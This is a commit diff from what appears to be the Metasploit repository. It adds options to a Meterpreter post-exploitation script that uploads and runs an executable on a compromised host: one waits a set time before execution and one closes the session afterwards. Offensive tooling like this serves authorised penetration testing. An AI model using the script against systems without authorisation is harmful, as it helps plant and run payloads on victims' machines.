Skip to content

Commit ee201a8

Browse files
committed
Land rapid7#2673, -x and -s for uploadexec meterp script
2 parents be86a29 + 5fc9706 commit ee201a8

File tree

1 file changed

+19
-0
lines changed

1 file changed

+19
-0
lines changed

scripts/meterpreter/uploadexec.rb

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,8 @@
55
"-e" => [ true, "Executable or script to upload to target host." ],
66
"-o" => [ true, "Options for executable." ],
77
"-p" => [ false,"Path on target to upload executable, default is %TEMP%." ],
8+
"-x" => [ false,"Exit the session once the payload has been run." ],
9+
"-s" => [ true,"Sleep for a number of seconds after uploading before executing." ],
810
"-v" => [ false,"Verbose, return output of execution of uploaded executable." ],
911
"-r" => [ false,"Remove the executable after running it (only works if the executable exits right away)" ]
1012
)
@@ -93,6 +95,8 @@ def unsupported
9395
path = ""
9496
verbose = 0
9597
remove = 0
98+
quit = 0
99+
sleep_sec = nil
96100
@@exec_opts.parse(args) { |opt, idx, val|
97101
case opt
98102
when "-e"
@@ -105,8 +109,12 @@ def unsupported
105109
verbose = 1
106110
when "-h"
107111
helpcall = 1
112+
when "-s"
113+
sleep_sec = val.to_f
108114
when "-r"
109115
remove = 1
116+
when "-x"
117+
quit = 1
110118
end
111119

112120
}
@@ -116,9 +124,20 @@ def unsupported
116124
end
117125
print_status("Running Upload and Execute Meterpreter script....")
118126
exec = upload(session,file,path)
127+
if sleep_sec
128+
print_status("\tSleeping for #{sleep_sec}s...")
129+
Rex.sleep(sleep_sec)
130+
end
119131
cmd_on_trgt_exec(session,exec,cmdopt,verbose)
120132
if remove == 1
121133
print_status("\tDeleting #{exec}")
122134
m_unlink(session, exec)
123135
end
136+
137+
if quit == 1
138+
print_status("Closing the session...")
139+
session.core.shutdown rescue nil
140+
session.shutdown_passive_dispatcher
141+
end
142+
124143
print_status("Finished!")

0 commit comments

Comments
 (0)